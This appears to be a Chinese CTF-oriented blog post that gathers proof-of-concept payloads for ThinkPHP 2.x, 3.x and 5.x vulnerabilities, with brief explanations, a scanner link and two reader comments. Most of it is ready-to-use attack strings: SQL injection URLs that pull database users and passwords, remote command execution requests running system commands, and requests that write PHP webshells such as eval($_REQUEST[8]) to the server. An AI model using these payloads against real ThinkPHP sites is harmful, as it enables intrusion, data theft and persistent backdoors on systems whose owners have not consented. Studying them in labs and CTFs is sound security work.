题目地址:https://ctf.show/challenges

前言:

此系列原本应该早就更新了,但是由于个人原因,一直拖更了这么久,题量较多,具体解题思路较为零散,到现在也忘的差不多了,第一个懒得去复现了,第二个,时间不是很多,因此此专题目前打算将搜集的一些POC或者思路附上,具体分析过程以及环境搭建在这都省略了,网上应该都能找到。

image-20210913001143662.png

ThinkPHP 2.x 任意代码执行漏洞

payload:

/index.php?s=/index/index/name/${phpinfo()}

getshell:

/index.php?s=/index/index/name/${eval($_REQUEST[8])}&&8=phpinfo();

Thinkphp3 漏洞总结:

thinkphp是国内著名的php开发框架,有完善的开发文档,基于MVC架构,其中Thinkphp3.2.3是目前使用最广泛的thinkphp版本,虽然已经停止新功能的开发,但是普及度高于新出的thinkphp5系列,由于框架实现安全数据库过程中在update更新数据的过程中存在SQL语句的拼接,并且当传入数组未过滤时导致出现了SQL注入。
Thinkphp3.2.3 开发手册
Thinkphp3.2.3安全开发须知
ThinkPHP中的常用方法汇总总结:M方法,D方法,U方法,I方法

thinkphp3版本路由格式:

http://php.local/thinkphp3.2.3/index.php/Home/Index/index/id/1
                                模块/控制器/方法/参数

或:
http://php.local/thinkphp3.2.3/index.php?s=Home/Index/index/id/1
具体的手册里面有
thinkphp内置了几种方法,比如I(),M()等等

A 快速实例化Action类库
B 执行行为类
C 配置参数存取方法
D 快速实例化Model类库
F 快速简单文本数据存取方法
L 语言参数存取方法
M 快速高性能实例化模型
R 快速远程调用Action类方法
S 快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法

具体可以看 ThinkPHP/Common/functions.php
配置环境啥的略

thinkphp3.2.3 where注入

payload:

http://php.local/thinkphp3.2.3/?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23

thinkphp 3.2.3 exp注入

payload:

http://php.local/thinkphp3.2.3/index.php?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

thinkphp 3.2.3 bind注入

payload:

index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1

thinkphp 3.2.3 update注入

payload:

money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) 

thinkphp 3.1、3.2 SQL注入(exp表达式)

如果where语句的条件是数组,而且数组的第一个值是’exp’,那么第二个值就可以直接写SQL语句。这个特性在thinkphp3.1、3.2版本中均存在,通用性比较广。
I方法使用filter_exp函数过滤,是在exp后面会加个空格
但是filter_exp在I函数的fiter之前,所以如果开发者这样写I(‘get.school’, ‘’, ‘trim’),那么会直接清除掉exp后面的空格,导致过滤无效。而这个写法是很普遍的。
POC:

http://***.***.***.***/home/index/login
POST提交
uname[0]=exp&uname[1]=%21%3D1 and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))%23&upwd=admin

Thinkphp3.2.3 find/select/delete注入

漏洞测试代码:

public function sqlvul1()
   {
      $res = M('user')->find(I('GET.id'));
      //$res = M('user')->delete(I('GET.id'));
      //$res = M('user')->select(I('GET.id'));
      var_dump($res);
   }

POC:

http://127.0.0.1/thinkphp323/index.php?m=Home&c=Index&a=sqlvul1&id[alias]=where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
http://127.0.0.1/thinkphp323/index.php?m=Home&c=Index&a=sqlvul1&id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
http://127.0.0.1/thinkphp323/index.php?m=Home&c=Index&a=sqlvul1&id[table]=user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- #需要知道表明 这里表名的user

thinkphp 5漏洞总结:

thinkphp 5.0.x Request类远程命令执行

受影响版本:
ThinkPHP 5.0.0 - ThinkPHP 5.0.23
在ThinkPHP 5.0.x 版本下,由于Request类的method 函数控制松散,导致可以通
过变量覆盖实现对任意函数进行调用,并且$_POST 将作为函数的参数传入,最终通过filterValue() 方法中的回调函数call_user_func()触发漏洞,实现远程命令执行

ThinkPHP 5.0.15 POC

下面POC 只有当debug模式开启时才可成功执行

POST /thinkphp5015/public/index.php HTTP/1.1
_method=__construct&filter[]=system&mytest=whoami

ThinkPHP 3.2.3/5.1.22 order by注入

ThinkPHP在处理order by排序时,当排序参数可控且为关联数组(key-value)时,由于框架未对数组中key值作安全过滤处理,攻击者可利用key构造SQL语句进行注入,该漏洞影响ThinkPHP 3.2.3、5.1.22及以下版本。【CVE-2018-16385】
因这两个原理基本一致,故不分开写了,连在一起。
ThinkPHP3.2.3漏洞测试代码:

    public function sqlvul2(){
    $data=array();
    $data['username']=array('eq','qq123');
    $order=I('get.order');//使用标准的I函数进行安全过滤
    $m=M('user')->where($data)->order($order)->find();
    var_dump($m);
}

ThinkPHP3.2.3 POC:

http://127.0.0.1/thinkphp323/index.php?m=Home&c=Index&a=sqlvul2&order[updatexml(1,concat(0x3a,user()),1)]
http://127.0.0.1/thinkphp323/index.php/Home/Index/sqlvul2?order[updatexml(1,concat(0x3a,user()),1)]

ThinkPHP5.1.22漏洞测试代码
public function index()

{
$data=array();
$data['username']=array('eq','admin');
$order=input('get.order');//使用input函数进行安全过滤
$m=db('user')->where($data)->order($order)->find();
dump($m);
}

ThinkPHP5.1.22 POC:

http://127.0.0.1/tp5/public/index/index/test/index?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1

ThinkPHP 5.0.23 POC

下面POC 在debug模式无论关闭或开启均可成功执行

POST /thinkphp5023/public/index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

下面POC 只有当debug模式开启时才可成功执行

POST /thinkphp5023/public/index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

ThinkPHP 5.x controller远程命令执行

受影响版本:
ThinkPHP 5.1.x ~ 5.1.31
ThinkPHP 5.0.x ~ 5.0.23

由于框架对于controller控制器名称没有做到足够的检测,导致在使用Pathinfo访问模式(没有开启强制路由)的情况下,造成可能的GetShell
POC:
在debug模式无论关闭或开启均可成功执行

执行phpinfo
http://127.0.0.1/thinkphp5015//public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

执行系统命令
http://127.0.0.1/thinkphp5015/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写info.php文件
http://127.0.0.1/thinkphp5015/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=info.php&vars[1][]=%3C?php%20phpinfo();?%3E
http://127.0.0.1/thinkphp5015/public/info.php

写一句话木马
http://127.0.0.1/thinkphp5015/public/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=www2.php&vars[1][]=<?php @ev[xxx]al($_POST['123']);?>

ThinkPHP 5.0.9 信息泄露+SQL注入(in)

ThinkPHP 5.0.9默认依旧是开放debug模式 (‘app_debug’ => true,)
触发该漏洞的关键词有:in 、not in
位置:select()、delete()、update()
POC:

http://127.0.0.1/thinkphp509/public/index.php/index/index/sqlvul?ids[0,updatexml(0,concat(0xa,user()),0)]=1

ThinkPHP <5.0.16 update/insert 注入(inc)

测试准备:
1)修改数据库配置信息 application/database.php
在 application/config.php 中打开调试和trace,app_debug和app_trace均为true。说明:app_debug设置为true是必须的,app_trace可不设
2)创建数据库为tptest,表名为user,其中有两个字段id和username
3)在 application/index/controller/Index.php 中Index类中添加方法:

public  function sqlvul()
    {
        $username = input('get.username/a');
        //db('user')->where(['id'=> 5])->insert(['username'=>$username]);
db('user')->where(['id'=> 3])->update(['username'=>$username]);
    }

POC:

http://127.0.0.1/thinkphp5015/public/index.php/index/index/sqlvul?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
http://127.0.0.1/thinkphp5015/public/index.php/index/index/sqlvul?username[0]=dec&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
或者
http://127.0.0.1/thinkphp5015/public/index.php/index/index/sqlvul?username[0]=inc&username[1]=exp(~(select * from(select user())a))&username[2]=1

Thinkphp5 5.0.22 / 5.1.29远程执行代码漏洞(未启用强制路由)

由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。
首先,默认情况下安装的 ThinkPHP 没有开启强制路由选项,而且默认开启路由兼容模式。
由于没有开启强制路由,说明我们可以使用路由兼容模式 s 参数,而框架对控制器名没有进行足够的检测,说明可能可以调用任意的控制器。
1、 有一个判断,当控制器名中包含了反斜杠,就会直接返回。
2、返回带命名空间的完整类名
3、类名都是带有完整的命名空间的,而命名空间恰好就是使用反斜杠来划分
总而言之就是:控制器过滤不严,结合直接返回类名的代码操作,导致可以用命名空间的方式来调用任意类的任意方法。
形如:s=/index/命令空间\类名/方法
http://ip/index.php?s=/index/namespace\class/method
5.0跟5.1的文件不一样,所以payload不一样,而Windows中严格区分大小写,加载不到相应的类,比linux中能加载到的类文件要少了不少。
5.0跟5.1共有的且兼容Windows与linux的类文件:

think\Route 
think\Loader 
think\Error 
think\App 
think\Env 
think\Config 
think\Hook 
think\Lang 
think\Request 
think\Log

payload 需稍作调整:
5.0.x:

?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id // 执行命令
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 // 执行phpinfo();
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_REQUEST[8]);?>    // 写入shell

?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=内容需要url编码

5.1.x:

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

?s=index/think\request/input?data[]=phpinfo()&filter=assert
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

在ctfshow的web入门中,未开启强制路由导致的RCE在网上找不到公开的,(其实里面还是有好多题网上都是找不到,但还是有许多非预期的,具体的题还有思路我也记不清了)
链子:

\think\view\driver\Think
public function __call($method, $params)
    {
        return call_user_func_array([$this->template, $method], $params);
    }

此类中有 display() 方法,这个方法可以解析 php 模板
payload:

/?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('whoami'); ?>

文件包含:

http://ip/index.php?s=captcha&m=1
post提交:
_method=__construct&filter[]=think__include_file&get[]=/home/www/thinkphp/public/payload.txt&method=get&server[]=

thinkphp 漏洞_TPscan一键ThinkPHP漏洞检测工具

插件目录:

ThinkPHP 用户模块checkcode SQL注入漏洞
ThinkPHP 5.0.23远程代码执行
ThinkPHP 5.0.23 Debug模式远程代码执行
ThinkPHP 5.X PDO开启状态下SQL注入漏洞
ThinkPHP 5.1.x 远程命令执行漏洞2
ThinkPHP 5.0.10 远程代码执行漏洞
ThinkPHP index.php show-id远程代码执行漏洞
ThinkPHP 5.0.22/5.1.29 远程代码执行
ThinkPHP 2.1~2.2|3.0~3.1 开启Lite模式代码执行漏洞
ThinkPHP 5.1~5.2全版本远程代码执行漏洞
ThinkPHP 多个SQL报错信息泄露
ThinkPHP /home/pay控制器参数orderid SQL注入漏洞
ThinkPHP 5.1.x 远程命令执行漏洞
ThinkPHP view_recent/name X-Forwarded-For SQL注入漏洞

下载地址:https://github.com/Lucifer1993/TPscan

在写这些由于在深夜,加上时间比较仓促,或许有些地方写的不对,希望大佬们看到能及时提醒更正,Orz!

标签: none

  1. F10wers_13eiCheng F10wers_13eiCheng

    可以发一下下吗

  2. F10wers_13eiCheng F10wers_13eiCheng

    师傅web626去哪里了,

已有 2 条评论